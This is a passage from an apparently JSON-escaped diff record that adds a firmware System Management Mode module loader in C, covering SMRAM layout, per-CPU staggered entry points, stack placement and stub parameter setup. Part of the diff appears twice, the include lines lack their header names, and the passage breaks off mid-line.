__func__,\n+\t\tstub_params->runtime.start32_offset);\n+\tprintk(BIOS_DEBUG, \"%s: runtime.smm_size = 0x%zx\\n\",\n+\t\t__func__, smm_size);\n+\tprintk(BIOS_DEBUG, \"%s: per_cpu_save_state_size = 0x%x\\n\",\n+\t\t__func__, stub_params->runtime.save_state_size);\n+\tprintk(BIOS_DEBUG, \"%s: num_cpus = 0x%x\\n\", __func__,\n+\t\tstub_params->runtime.num_cpus);\n+\tprintk(BIOS_DEBUG, \"%s: total_save_state_size = 0x%x\\n\",\n+\t\t__func__, (stub_params->runtime.save_state_size *\n+\t\tstub_params->runtime.num_cpus));\n+\ttotal_size_all = stub_params->stack_size +\n+\t\t(stub_params->runtime.save_state_size *\n+\t\tstub_params->runtime.num_cpus);\n+\tprintk(BIOS_DEBUG, \"%s: total_size_all = 0x%x\\n\", __func__,\n+\t\ttotal_size_all);\n+\n+\t/* Initialize the APIC id to CPU number table to be 1:1 */\n+\tfor (i = 0; i < params->num_concurrent_stacks; i++)\n+\t\tstub_params->runtime.apic_id_to_cpu[i] = i;\n+\n+\t/* Allow the initiator to manipulate SMM stub parameters. */\n+\tparams->runtime = &stub_params->runtime;\n+\n+\tprintk(BIOS_DEBUG, \"SMM Module: stub loaded at %p. Will call %p(%p)\\n\",\n+\t smm_stub_loc, params->handler, params->handler_arg);\n+\treturn 0;\n+}\n+\n+/*\n+ * smm_setup_relocation_handler assumes the callback is already loaded in\n+ * memory. i.e. Another SMM module isn't chained to the stub. The other\n+ * assumption is that the stub will be entered from the default SMRAM\n+ * location: 0x30000 -> 0x40000.\n+ */\n+int smm_setup_relocation_handler(struct smm_loader_params *params)\n+{\n+\tvoid *smram = (void *)(SMM_DEFAULT_BASE);\n+\tprintk(BIOS_SPEW, \"%s: enter\\n\", __func__);\n+\t/* There can't be more than 1 concurrent save state for the relocation\n+\t * handler because all CPUs default to 0x30000 as SMBASE. */\n+\tif (params->num_concurrent_save_states > 1)\n+\t\treturn -1;\n+\n+\t/* A handler has to be defined to call for relocation. */\n+\tif (params->handler == NULL)\n+\t\treturn -1;\n+\n+\t/* Since the relocation handler always uses stack, adjust the number\n+\t * of concurrent stack users to be CONFIG_MAX_CPUS. */\n+\tif (params->num_concurrent_stacks == 0)\n+\t\tparams->num_concurrent_stacks = CONFIG_MAX_CPUS;\n+\n+\tparams->smm_main_entry_offset = SMM_ENTRY_OFFSET;\n+\tparams->smram_start = SMM_DEFAULT_BASE;\n+\tparams->smram_end = SMM_DEFAULT_BASE + SMM_DEFAULT_SIZE;\n+\treturn smm_module_setup_stub(smram, SMM_DEFAULT_SIZE,\n+\t\t\t\tparams, fxsave_area_relocation);\n+\tprintk(BIOS_SPEW, \"%s: exit\\n\", __func__);\n+}\n+\n+/*\n+ *The SMM module is placed within the provided region in the following\n+ * manner:\n+ * +-----------------+ <- smram + size\n+ * | BIOS resource |\n+ * | list (STM) |\n+ * +-----------------+\n+ * | fxsave area |\n+ * +-----------------+\n+ * | smi handler |\n+ * | ... |\n+ * +-----------------+ <- cpu0\n+ * | stub code | <- cpu1\n+ * | stub code | <- cpu2\n+ * | stub code | <- cpu3, etc\n+ * | |\n+ * | |\n+ * | |\n+ * | stacks |\n+ * +-----------------+ <- smram start\n+\n+ * It should be noted that this algorithm will not work for\n+ * SMM_DEFAULT_SIZE SMRAM regions such as the A segment. This algorithm\n+ * expects a region large enough to encompass the handler and stacks\n+ * as well as the SMM_DEFAULT_SIZE.\n+ */\n+int smm_load_module(void *smram, size_t size, struct smm_loader_params *params)\n+{\n+\tstruct rmodule smm_mod;\n+\tsize_t total_stack_size;\n+\tsize_t handler_size;\n+\tsize_t module_alignment;\n+\tsize_t alignment_size;\n+\tsize_t fxsave_size;\n+\tvoid *fxsave_area;\n+\tsize_t total_size = 0;\n+\tchar *base;\n+\n+\tif (size <= SMM_DEFAULT_SIZE)\n+\t\treturn -1;\n+\n+\t/* Load main SMI handler at the top of SMRAM\n+\t * everything else will go below\n+\t */\n+\tbase = smram;\n+\tbase += size;\n+\tparams->smram_start = (uintptr_t)smram;\n+\tparams->smram_end = params->smram_start + size;\n+\tparams->smm_main_entry_offset = SMM_ENTRY_OFFSET;\n+\n+\t/* Fail if can't parse the smm rmodule. */\n+\tif (rmodule_parse(&_binary_smm_start, &smm_mod))\n+\t\treturn -1;\n+\n+\t/* Clear SMM region */\n+\tif (CONFIG(DEBUG_SMI))\n+\t\tmemset(smram, 0xcd, size);\n+\n+\ttotal_stack_size = params->per_cpu_stack_size *\n+\t\t\t params->num_concurrent_stacks;\n+\ttotal_size += total_stack_size;\n+\t/* Stacks are the base of SMRAM */\n+\tparams->stack_top = smram + total_stack_size;\n+\n+\t/* MSEG starts at the top of SMRAM and works down */\n+\tif (CONFIG(STM)) {\n+\t\tbase -= CONFIG_MSEG_SIZE + CONFIG_BIOS_RESOURCE_LIST_SIZE;\n+\t\ttotal_size += CONFIG_MSEG_SIZE + CONFIG_BIOS_RESOURCE_LIST_SIZE;\n+\t}\n+\n+\t/* FXSAVE goes below MSEG */\n+\tif (CONFIG(SSE)) {\n+\t\tfxsave_size = FXSAVE_SIZE * params->num_concurrent_stacks;\n+\t\tfxsave_area = base - fxsave_size;\n+\t\tbase -= fxsave_size;\n+\t\ttotal_size += fxsave_size;\n+\t} else {\n+\t\tfxsave_size = 0;\n+\t\tfxsave_area = NULL;\n+\t}\n+\n+\n+\thandler_size = rmodule_memory_size(&smm_mod);\n+\tbase -= handler_size;\n+\ttotal_size += handler_size;\n+\tmodule_alignment = rmodule_load_alignment(&smm_mod);\n+\talignment_size = module_alignment -\n+\t\t\t\t((uintptr_t)base % module_alignment);\n+\tif (alignment_size != module_alignment) {\n+\t\thandler_size += alignment_size;\n+\t\tbase += alignment_size;\n+\t}\n+\n+\tprintk(BIOS_DEBUG,\n+\t\t\"%s: total_smm_space_needed %zx, available -> %zx\\n\",\n+\t\t __func__, total_size, size);\n+\n+\t/* Does the required amount of memory exceed the SMRAM region size? */\n+\tif (total_size > size) {\n+\t\tprintk(BIOS_ERR, \"%s: need more SMRAM\\n\", __func__);\n+\t\treturn -1;\n+\t}\n+\tif (handler_size > SMM_CODE_SEGMENT_SIZE) {\n+\t\tprintk(BIOS_ERR, \"%s: increase SMM_CODE_SEGMENT_SIZE: handler_size = %zx\\n\",\n+\t\t\t__func__, handler_size);\n+\t\treturn -1;\n+\t}\n+\n+\tif (rmodule_load(base, &smm_mod))\n+\t\treturn -1;\n+\n+\tparams->handler = rmodule_entry(&smm_mod);\n+\tparams->handler_arg = rmodule_parameters(&smm_mod);\n+\n+\tprintk(BIOS_DEBUG, \"%s: smram_start: 0x%p\\n\",\n+\t\t __func__, smram);\n+\tprintk(BIOS_DEBUG, \"%s: smram_end: %p\\n\",\n+\t\t __func__, smram + size);\n+\tprintk(BIOS_DEBUG, \"%s: stack_top: %p\\n\",\n+\t\t __func__, params->stack_top);\n+\tprintk(BIOS_DEBUG, \"%s: handler start %p\\n\",\n+\t\t __func__, params->handler);\n+\tprintk(BIOS_DEBUG, \"%s: handler_size %zx\\n\",\n+\t\t __func__, handler_size);\n+\tprintk(BIOS_DEBUG, \"%s: handler_arg %p\\n\",\n+\t\t __func__, params->handler_arg);\n+\tprintk(BIOS_DEBUG, \"%s: fxsave_area %p\\n\",\n+\t\t __func__, fxsave_area);\n+\tprintk(BIOS_DEBUG, \"%s: fxsave_size %zx\\n\",\n+\t\t __func__, fxsave_size);\n+\tprintk(BIOS_DEBUG, \"%s: CONFIG_MSEG_SIZE 0x%x\\n\",\n+\t\t __func__, CONFIG_MSEG_SIZE);\n+\tprintk(BIOS_DEBUG, \"%s: CONFIG_BIOS_RESOURCE_LIST_SIZE 0x%x\\n\",\n+\t\t __func__, CONFIG_BIOS_RESOURCE_LIST_SIZE);\n+\n+\t/* CPU 0 smbase goes first, all other CPUs\n+\t * will be staggered below\n+\t */\n+\tbase -= SMM_CODE_SEGMENT_SIZE;\n+\tprintk(BIOS_DEBUG, \"%s: cpu0 entry: %p\\n\",\n+\t\t __func__, base);\n+\tparams->smm_entry = (uintptr_t)base + params->smm_main_entry_offset;\n+\treturn smm_module_setup_stub(base, size, params, fxsave_area);\n+}", "sections": [{"section": "@@ -0,0 +1,655 @@\n+/* SPDX-License-Identifier: GPL-2.0-only */\n+\n+#include \n+#include \n+#include \n+#include \n+#include \n+#include \n+#include \n+\n+#define FXSAVE_SIZE 512\n+#define SMM_CODE_SEGMENT_SIZE 0x10000\n+/* FXSAVE area during relocation. While it may not be strictly needed the\n+ SMM stub code relies on the FXSAVE area being non-zero to enable SSE\n+ instructions within SMM mode. */\n+static uint8_t fxsave_area_relocation[CONFIG_MAX_CPUS][FXSAVE_SIZE]\n+__attribute__((aligned(16)));\n+\n+/*\n+ * Components that make up the SMRAM:\n+ * 1. Save state - the total save state memory used\n+ * 2. Stack - stacks for the CPUs in the SMM handler\n+ * 3. Stub - SMM stub code for calling into handler\n+ * 4. Handler - C-based SMM handler.\n+ *\n+ * The components are assumed to consist of one consecutive region.\n+ */\n+\n+/* These parameters are used by the SMM stub code. A pointer to the params\n+ * is also passed to the C-base handler. */\n+struct smm_stub_params {\n+\tu32 stack_size;\n+\tu32 stack_top;\n+\tu32 c_handler;\n+\tu32 c_handler_arg;\n+\tu32 fxsave_area;\n+\tu32 fxsave_area_size;\n+\tstruct smm_runtime runtime;\n+} __packed;\n+\n+/*\n+ * The stub is the entry point that sets up protected mode and stacks for each\n+ * CPU. It then calls into the SMM handler module. It is encoded as an rmodule.\n+ */\n+extern unsigned char _binary_smmstub_start[];\n+\n+/* Per CPU minimum stack size. */\n+#define SMM_MINIMUM_STACK_SIZE 32\n+\n+struct cpu_smm_info {\n+\tuint8_t active;\n+\tuintptr_t smbase;\n+\tuintptr_t entry;\n+\tuintptr_t ss_start;\n+\tuintptr_t code_start;\n+\tuintptr_t code_end;\n+};\n+struct cpu_smm_info cpus[CONFIG_MAX_CPUS] = { 0 };\n+\n+/*\n+ * This method creates a map of all the CPU entry points, save state locations\n+ * and the beginning and end of code segments for each CPU. This map is used\n+ * during relocation to properly align as many CPUs that can fit into the SMRAM\n+ * region. For more information on how SMRAM works, refer to the latest Intel\n+ * developer's manuals (volume 3, chapter 34). SMRAM is divided up into the\n+ * following regions:\n+ * +-----------------+ Top of SMRAM\n+ * | | <- MSEG, FXSAVE\n+ * +-----------------+\n+ * | common |\n+ * | smi handler | 64K\n+ * | |\n+ * +-----------------+\n+ * | CPU 0 code seg |\n+ * +-----------------+\n+ * | CPU 1 code seg |\n+ * +-----------------+\n+ * | CPU x code seg |\n+ * +-----------------+\n+ * | |\n+ * | |\n+ * +-----------------+\n+ * | stacks |\n+ * +-----------------+ <- START of SMRAM\n+ *\n+ * The code below checks when a code segment is full and begins placing the remainder\n+ * CPUs in the lower segments. The entry point for each CPU is smbase + 0x8000\n+ * and save state is smbase + 0x8000 + (0x8000 - state save size). Save state\n+ * area grows downward into the CPUs entry point. Therefore staggering too many\n+ * CPUs in one 32K block will corrupt CPU0's entry code as the save states move\n+ * downward.\n+ * input : smbase of first CPU (all other CPUs\n+ * will go below this address)\n+ * input : num_cpus in the system. The map will\n+ * be created from 0 to num_cpus.\n+ */\n+static int smm_create_map(uintptr_t smbase, unsigned int num_cpus,\n+\t\t\tconst struct smm_loader_params *params)\n+{\n+\tunsigned int i;\n+\tstruct rmodule smm_stub;\n+\tunsigned int ss_size = params->per_cpu_save_state_size, stub_size;\n+\tunsigned int smm_entry_offset = params->smm_main_entry_offset;\n+\tunsigned int seg_count = 0, segments = 0, available;\n+\tunsigned int cpus_in_segment = 0;\n+\tunsigned int base = smbase;\n+\n+\tif (rmodule_parse(&_binary_smmstub_start, &smm_stub)) {\n+\t\tprintk(BIOS_ERR, \"%s: unable to get SMM module size\\n\", __func__);\n+\t\treturn 0;\n+\t}\n+\n+\tstub_size = rmodule_memory_size(&smm_stub);\n+\t/* How many CPUs can fit into one 64K segment? */\n+\tavailable = 0xFFFF - smm_entry_offset - ss_size - stub_size;\n+\tif (available > 0) {\n+\t\tcpus_in_segment = available / ss_size;\n+\t\t/* minimum segments needed will always be 1 */\n+\t\tsegments = num_cpus / cpus_in_segment + 1;\n+\t\tprintk(BIOS_DEBUG,\n+\t\t\t\"%s: cpus allowed in one segment %d\\n\", __func__, cpus_in_segment);\n+\t\tprintk(BIOS_DEBUG,\n+\t\t\t\"%s: min # of segments needed %d\\n\", __func__, segments);\n+\t} else {\n+\t\tprintk(BIOS_ERR, \"%s: not enough space in SMM to setup all CPUs\\n\", __func__);\n+\t\tprintk(BIOS_ERR, \" save state & stub size need to be reduced\\n\");\n+\t\tprintk(BIOS_ERR, \" or increase SMRAM size\\n\");\n+\t\treturn 0;\n+\t}\n+\n+\tif (sizeof(cpus) / sizeof(struct cpu_smm_info) < num_cpus) {\n+\t\tprintk(BIOS_ERR,\n+\t\t\t\"%s: increase MAX_CPUS in Kconfig\\n\", __func__);\n+\t\treturn 0;\n+\t}\n+\n+\tfor (i = 0; i < num_cpus; i++) {\n+\t\tcpus[i].smbase = base;\n+\t\tcpus[i].entry = base + smm_entry_offset;\n+\t\tcpus[i].ss_start = cpus[i].entry + (smm_entry_offset - ss_size);\n+\t\tcpus[i].code_start = cpus[i].entry;\n+\t\tcpus[i].code_end = cpus[i].entry + stub_size;\n+\t\tcpus[i].active = 1;\n+\t\tbase -= ss_size;\n+\t\tseg_count++;\n+\t\tif (seg_count >= cpus_in_segment) {\n+\t\t\tbase -= smm_entry_offset;\n+\t\t\tseg_count = 0;\n+\t\t}\n+\t}\n+\n+\tif (CONFIG_DEFAULT_CONSOLE_LOGLEVEL >= BIOS_DEBUG) {\n+\t\tseg_count = 0;\n+\t\tfor (i = 0; i < num_cpus; i++) {\n+\t\t\tprintk(BIOS_DEBUG, \"CPU 0x%x\\n\", i);\n+\t\t\tprintk(BIOS_DEBUG,\n+\t\t\t\t\" smbase %zx entry %zx\\n\",\n+\t\t\t\tcpus[i].smbase, cpus[i].entry);\n+\t\t\tprintk(BIOS_DEBUG,\n+\t\t\t\t\" ss_start %zx code_end %zx\\n\",\n+\t\t\t\tcpus[i].ss_start, cpus[i].code_end);\n+\t\t\tseg_count++;\n+\t\t\tif (seg_count >= cpus_in_segment) {\n+\t\t\t\tprintk(BIOS_DEBUG,\n+\t\t\t\t\t\"-------------NEW CODE SEGMENT --------------\\n\");\n+\t\t\t\tseg_count = 0;\n+\t\t\t}\n+\t\t}\n+\t}\n+\treturn 1;\n+}\n+\n+/*\n+ * This method expects the smm relocation map to be complete.\n+ * This method does not read any HW registers, it simply uses a\n+ * map that was created during SMM setup.\n+ * input: cpu_num - cpu number which is used as an index into the\n+ * map to return the smbase\n+ */\n+u32 smm_get_cpu_smbase(unsigned int cpu_num)\n+{\n+\tif (cpu_num < CONFIG_MAX_CPUS) {\n+\t\tif (cpus[cpu_num].active)\n+\t\t\treturn cpus[cpu_num].smbase;\n+\t}\n+\treturn 0;\n+}\n+\n+/*\n+ * This method assumes that at least 1 CPU has been set up from\n+ * which it will place other CPUs below its smbase ensuring that\n+ * save state does not clobber the first CPUs init code segment. The init\n+ * code which is the smm stub code is the same for all CPUs. They enter\n+ * smm, setup stacks (based on their apic id), enter protected mode\n+ * and then jump to the common smi handler. The stack is allocated\n+ * at the beginning of smram (aka tseg base, not smbase). The stack\n+ * pointer for each CPU is calculated by using its apic id\n+ * (code is in smm_stub.s)\n+ * Each entry point will now have the same stub code which, sets up the CPU\n+ * stack, enters protected mode and then jumps to the smi handler. It is\n+ * important to enter protected mode before the jump because the \"jump to\n+ * address\" might be larger than the 20bit address supported by real mode.\n+ * SMI entry right now is in real mode.\n+ * input: smbase - this is the smbase of the first cpu not the smbase\n+ * where tseg starts (aka smram_start). All CPUs code segment\n+ * and stack will be below this point except for the common\n+ * SMI handler which is one segment above\n+ * input: num_cpus - number of cpus that need relocation including\n+ * the first CPU (though its code is already loaded)\n+ * input: top of stack (stacks work downward by default in Intel HW)\n+ * output: return -1, if runtime smi code could not be installed. In\n+ * this case SMM will not work and any SMI's generated will\n+ * cause a CPU shutdown or general protection fault because\n+ * the appropriate smi handling code was not installed\n+ */\n+\n+static int smm_place_entry_code(uintptr_t smbase, unsigned int num_cpus,\n+\t\t\t\tunsigned int stack_top, const struct smm_loader_params *params)\n+{\n+\tunsigned int i;\n+\tunsigned int size;\n+\tif (smm_create_map(smbase, num_cpus, params)) {\n+\t\t/*\n+\t\t * Ensure there was enough space and the last CPUs smbase\n+\t\t * did not encroach upon the stack. Stack top is smram start\n+\t\t * + size of stack.\n+\t\t */\n+\t\tif (cpus[num_cpus].active) {\n+\t\t\tif (cpus[num_cpus - 1].smbase +\n+\t\t\t\tparams->smm_main_entry_offset < stack_top) {\n+\t\t\t\tprintk(BIOS_ERR, \"%s: stack encroachment\\n\", __func__);\n+\t\t\t\tprintk(BIOS_ERR, \"%s: smbase %zx, stack_top %x\\n\",\n+\t\t\t\t\t__func__, cpus[num_cpus].smbase, stack_top);\n+\t\t\t\treturn 0;\n+\t\t\t}\n+\t\t}\n+\t} else {\n+\t\tprintk(BIOS_ERR, \"%s: unable to place smm entry code\\n\", __func__);\n+\t\treturn 0;\n+\t}\n+\n+\tprintk(BIOS_INFO, \"%s: smbase %zx, stack_top %x\\n\",\n+\t\t__func__, cpus[num_cpus-1].smbase, stack_top);\n+\n+\t/* start at 1, the first CPU stub code is already there */\n+\tsize = cpus[0].code_end - cpus[0].code_start;\n+\tfor (i = 1; i < num_cpus; i++) {\n+\t\tmemcpy((int *)cpus[i].code_start, (int *)cpus[0].code_start, size);\n+\t\tprintk(BIOS_DEBUG,\n+\t\t\t\"SMM Module: placing smm entry code at %zx, cpu # 0x%x\\n\",\n+\t\t\tcpus[i].code_start, i);\n+\t\tprintk(BIOS_DEBUG, \"%s: copying from %zx to %zx 0x%x bytes\\n\",\n+\t\t\t__func__, cpus[0].code_start, cpus[i].code_start, size);\n+\t}\n+\treturn 1;\n+}\n+\n+/*\n+ * Place stacks in base -> base + size region, but ensure the stacks don't\n+ * overlap the staggered entry points.\n+ */\n+static void *smm_stub_place_stacks(char *base, size_t size,\n+\t\t\t\t struct smm_loader_params *params)\n+{\n+\tsize_t total_stack_size;\n+\tchar *stacks_top;\n+\n+\t/* If stack space is requested assume the space lives in the lower\n+\t * half of SMRAM. */\n+\ttotal_stack_size = params->per_cpu_stack_size *\n+\t\t\t params->num_concurrent_stacks;\n+\tprintk(BIOS_DEBUG, \"%s: cpus: %zx : stack space: needed -> %zx\\n\",\n+\t\t__func__, params->num_concurrent_stacks,\n+\t\ttotal_stack_size);\n+\tprintk(BIOS_DEBUG, \" available -> %zx : per_cpu_stack_size : %zx\\n\",\n+\t\tsize, params->per_cpu_stack_size);\n+\n+\t/* There has to be at least one stack user. */\n+\tif (params->num_concurrent_stacks < 1)\n+\t\treturn NULL;\n+\n+\t/* Total stack size cannot fit. */\n+\tif (total_stack_size > size)\n+\t\treturn NULL;\n+\n+\t/* Stacks extend down to SMBASE */\n+\tstacks_top = &base[total_stack_size];\n+\tprintk(BIOS_DEBUG, \"%s: exit, stack_top %p\\n\", __func__, stacks_top);\n+\n+\treturn stacks_top;\n+}\n+\n+/*\n+ * Place the staggered entry points for each CPU. The entry points are\n+ * staggered by the per CPU SMM save state size extending down from\n+ * SMM_ENTRY_OFFSET.\n+ */\n+static int smm_stub_place_staggered_entry_points(char *base,\n+\tconst struct smm_loader_params *params, const struct rmodule *smm_stub)\n+{\n+\tsize_t stub_entry_offset;\n+\tint rc = 1;\n+\tstub_entry_offset = rmodule_entry_offset(smm_stub);\n+\t/* Each CPU now has its own stub code, which enters protected mode,\n+\t * sets up the stack, and then jumps to common SMI handler\n+\t */\n+\tif (params->num_concurrent_save_states > 1 || stub_entry_offset != 0) {\n+\t\trc = smm_place_entry_code((unsigned int)base,\n+\t\t\tparams->num_concurrent_save_states,\n+\t\t\t(unsigned int)params->stack_top, params);\n+\t}\n+\treturn rc;\n+}\n+\n+/*\n+ * The stub setup code assumes it is completely contained within the\n+ * default SMRAM size (0x10000) for the default SMI handler (entry at\n+ * 0x30000), but no assumption should be made for the permanent SMI handler.\n+ * The placement of CPU entry points for permanent handler are determined\n+ * by the number of CPUs in the system and the amount of SMRAM.\n+ * There are potentially 3 regions to place\n+ * within the default SMRAM size:\n+ * 1. Save state areas\n+ * 2. Stub code\n+ * 3. Stack areas\n+ *\n+ * The save state and smm stack are treated as contiguous for the number of\n+ * concurrent areas requested. The save state always lives at the top of the\n+ * the CPUS smbase (and the entry point is at offset 0x8000). This allows only a certain\n+ * number of CPUs with staggered entry points until the save state area comes\n+ * down far enough to overwrite/corrupt the entry code (stub code). Therefore,\n+ * an SMM map is created to avoid this corruption, see smm_create_map() above.\n+ * This module setup code works for the default (0x30000) SMM handler setup and the\n+ * permanent SMM handler.\n+ */\n+static int smm_module_setup_stub(void *smbase, size_t smm_size,\n+\t\t\t\t struct smm_loader_params *params,\n+\t\t\t\t void *fxsave_area)\n+{\n+\tsize_t total_save_state_size;\n+\tsize_t smm_stub_size;\n+\tsize_t stub_entry_offset;\n+\tchar *smm_stub_loc;\n+\tvoid *stacks_top;\n+\tsize_t size;\n+\tchar *base;\n+\tsize_t i;\n+\tstruct smm_stub_params *stub_params;\n+\tstruct rmodule smm_stub;\n+\tunsigned int total_size_all;\n+\tbase = smbase;\n+\tsize = smm_size;\n+\n+\t/* The number of concurrent stacks cannot exceed CONFIG_MAX_CPUS. */\n+\tif (params->num_concurrent_stacks > CONFIG_MAX_CPUS) {\n+\t\tprintk(BIOS_ERR, \"%s: not enough stacks\\n\", __func__);\n+\t\treturn -1;\n+\t}\n+\n+\t/* Fail if can't parse the smm stub rmodule. */\n+\tif (rmodule_parse(&_binary_smmstub_start, &smm_stub)) {\n+\t\tprintk(BIOS_ERR, \"%s: unable to parse smm stub\\n\", __func__);\n+\t\treturn -1;\n+\t}\n+\n+\t/* Adjust remaining size to account for save state. */\n+\ttotal_save_state_size = params->per_cpu_save_state_size *\n+\t\t\t\tparams->num_concurrent_save_states;\n+\tif (total_save_state_size > size) {\n+\t\tprintk(BIOS_ERR,\n+\t\t\t\"%s: more state save space needed:need -> %zx:available->%zx\\n\",\n+\t\t\t__func__, total_save_state_size, size);\n+\t\treturn -1;\n+\t}\n+\n+\tsize -= total_save_state_size;\n+\n+\t/* The save state size encroached over the first SMM entry point. */\n+\tif (size <= params->smm_main_entry_offset) {\n+\t\tprintk(BIOS_ERR, \"%s: encroachment over SMM entry point\\n\", __func__);\n+\t\tprintk(BIOS_ERR, \"%s: state save size: %zx : smm_entry_offset -> %x\\n\",\n+\t\t\t__func__, size, params->smm_main_entry_offset);\n+\t\treturn -1;\n+\t}\n+\n+\t/* Need a minimum stack size and alignment. */\n+\tif (params->per_cpu_stack_size <= SMM_MINIMUM_STACK_SIZE ||\n+\t (params->per_cpu_stack_size & 3) != 0) {\n+\t\tprintk(BIOS_ERR, \"%s: need minimum stack size\\n\", __func__);\n+\t\treturn -1;\n+\t}\n+\n+\tsmm_stub_loc = NULL;\n+\tsmm_stub_size = rmodule_memory_size(&smm_stub);\n+\tstub_entry_offset = rmodule_entry_offset(&smm_stub);\n+\n+\t/* Put the stub at the main entry point */\n+\tsmm_stub_loc = &base[params->smm_main_entry_offset];\n+\n+\t/* Stub is too big to fit. */\n+\tif (smm_stub_size > (size - params->smm_main_entry_offset)) {\n+\t\tprintk(BIOS_ERR, \"%s: stub is too big to fit\\n\", __func__);\n+\t\treturn -1;\n+\t}\n+\n+\t/* The stacks, if requested, live in the lower half of SMRAM space\n+\t * for default handler, but for relocated handler it lives at the beginning\n+\t * of SMRAM which is TSEG base\n+\t */\n+\tsize = params->num_concurrent_stacks * params->per_cpu_stack_size;\n+\tstacks_top = smm_stub_place_stacks((char *)params->smram_start, size, params);\n+\tif (stacks_top == NULL) {\n+\t\tprintk(BIOS_ERR, \"%s: not enough space for stacks\\n\", __func__);\n+\t\tprintk(BIOS_ERR, \"%s: ....need -> %p : available -> %zx\\n\", __func__,\n+\t\t\tbase, size);\n+\t\treturn -1;\n+\t}\n+\tparams->stack_top = stacks_top;\n+\t/* Load the stub. */\n+\tif (rmodule_load(smm_stub_loc, &smm_stub)) {\n+\t\tprintk(BIOS_ERR, \"%s: load module failed\\n\", __func__);\n+\t\treturn -1;\n+\t}\n+\n+\tif (!smm_stub_place_staggered_entry_points(base, params, &smm_stub)) {\n+\t\tprintk(BIOS_ERR, \"%s: staggered entry points failed\\n\", __func__);\n+\t\treturn -1;\n+\t}\n+\n+\t/* Setup the parameters for the stub code. */\n+\tstub_params = rmodule_parameters(&smm_stub);\n+\tstub_params->stack_top = (uintptr_t)stacks_top;\n+\tstub_params->stack_size = params->per_cpu_stack_size;\n+\tstub_params->c_handler = (uintptr_t)params->handler;\n+\tstub_params->c_handler_arg = (uintptr_t)params->handler_arg;\n+\tstub_params->fxsave_area = (uintptr_t)fxsave_area;\n+\tstub_params->fxsave_area_size = FXSAVE_SIZE;\n+\tstub_params->runtime.smbase = (uintptr_t)smbase;\n+\tstub_params->runtime.smm_size = smm_size;\n+\tstub_params->runtime.save_state_size = params->per_cpu_save_state_size;\n+\tstub_params->runtime.num_cpus = params->num_concurrent_stacks;\n+\n+\tprintk(BIOS_DEBUG, \"%s: stack_end = 0x%x\\n\",\n+\t\t__func__, stub_params->runtime.smbase);\n+\tprintk(BIOS_DEBUG,\n+\t\t\"%s: stack_top = 0x%x\\n\", __func__, stub_params->stack_top);\n+\tprintk(BIOS_DEBUG, \"%s: stack_size = 0x%x\\n\",\n+\t\t__func__, stub_params->stack_size);\n+\tprintk(BIOS_DEBUG, \"%s: runtime.smbase = 0x%x\\n\",\n+\t\t__func__, stub_params->runtime.smbase);\n+\tprintk(BIOS_DEBUG, \"%s: runtime.start32_offset = 0x%x\\n\", __func__,\n+\t\tstub_params->runtime.start32_offset);\n+\tprintk(BIOS_DEBUG, \"%s: runtime.smm_size = 0x%zx\\n\",\n+\t\t__func__, smm_size);\n+\tprintk(BIOS_DEBUG, \"%s: per_cpu_save_state_size = 0x%x\\n\",\n+\t\t__func__, stub_params->runtime.save_state_size);\n+\tprintk(BIOS_DEBUG, \"%s: num_cpus = 0x%x\\n\", __func__,\n+\t\tstub_params->runtime.num_cpus);\n+\tprintk(BIOS_DEBUG, \"%s: total_save_state_size = 0x%x\\n\",\n+\t\t__func__, (stub_params->runtime.save_state_size *\n+\t\tstub_params->runtime.num_cpus));\n+\ttotal_size_all = stub_params->stack_size +\n+\t\t(stub_params->runtime.save_state_size *\n+\t\tstub_params->runtime.num_cpus);\n+\tprintk(BIOS_DEBUG, \"%s: total_size_all = 0x%x\\n\", __func__,\n+\t\ttotal_size_all);\n+\n+\t/* Initialize the APIC id to CPU number table to be 1:1 */\n+\tfor (i = 0; i < params->num_concurrent_stacks; i++)\n+\t\tstub_params->runtime.apic_id_to_cpu[i] = i;\n+\n+\t/* Allow the initiator to manipulate SMM stub parameters. */\n+\tparams->runtime = &stub_params->runtime;\n+\n+\tprintk(BIOS_DEBUG, \"SMM Module: stub loaded at %p. Will call %p(%p)\\n\",\n+\t smm_stub_loc, params->handler, params->handler_arg);\n+\treturn 0;\n+}\n+\n+/*\n+ * smm_setup_relocation_handler assumes the callback is already loaded in\n+ * memory. i.e. Another SMM module isn't chained to the stub. The other\n+ * assumption is that the stub will be entered from the default SMRAM\n+ * location: 0x30000 -> 0x40000.\n+ */\n+int smm_setup_relocation_handler(struct smm_loader_params *params)\n+{\n+\tvoid *smram = (void *)(SMM_DEFAULT_BASE);\n+\tprintk(BIOS_SPEW, \"%s: enter\\n\", __func__);\n+\t/* There can't be more than 1 concurrent save state for the relocation\n+\t * handler because all CPUs default to 0x30000 as SMBASE. */\n+\tif (params->num_concurrent_save_states > 1)\n+\t\treturn -1;\n+\n+\t/* A handler has to be defined to call for relocation. */\n+\tif (params->handler == NULL)\n+\t\treturn -1;\n+\n+\t/* Since the relocation handler always uses stack, adjust the number\n+\t * of concurrent stack users to be CONFIG_MAX_CPUS. */\n+\tif (params->num_concurrent_stacks == 0)\n+\t\tparams->num_concurrent_stacks = CONFIG_MAX_CPUS;\n+\n+\tparams->smm_main_entry_offset = SMM_ENTRY_OFFSET;\n+\tparams->smram_start = SMM_DEFAULT_BASE;\n+\tparams->smram_end = SMM_DEFAULT_BASE + SMM_DEFAULT_SIZE;\n+\treturn smm_module_setup_stub(smram, SMM_DEFAULT_SIZE,\n+\t\t\t\tparams, fxsave_area_relocation);\n+\tprintk(BIOS_SPEW, \"%s: exit\\n\", __func__);\n+}\n+\n+/*\n+ *The SMM module is placed within the provided region in the following\n+ * manner:\n+ * +-----------------+ <- smram + size\n+ * | BIOS resource |\n+ * | list (STM) |\n+ * +-----------------+\n+ * | fxsave area |\n+ * +-----------------+\n+ * | smi handler |\n+ * | ... |\n+ * +-----------------+ <- cpu0\n+ * | stub code | <- cpu1\n+ * | stub code | <- cpu2\n+ * | stub code | <- cpu3, etc\n+ * | |\n+ * | |\n+ * | |\n+ * | stacks |\n+ * +-----------------+ <- smram start\n+\n+ * It should be noted that this algorithm will not work for\n+ * SMM_DEFAULT_SIZE SMRAM regions such as the A segment. This algorithm\n+ * expects a region large enough to encompass the handler and stacks\n+ * as well as the SMM_DEFAULT_SIZE.\n+ */\n+int smm_load_module(void *smram, size_t size, struct smm_loader_params *params)\n+{\n+\tstruct rmodule smm_mod;\n+\tsize_t total_stack_size;\n+\tsize_t handler_size;\n+\tsize_t module_alignment;\n+\tsize_t alignment_size;\n+\tsize_t fxsave_size;\n+\tvoid *fxsave_area;\n+\tsize_t total_size = 0;\n+\tchar *base;\n+\n+\tif (size <= 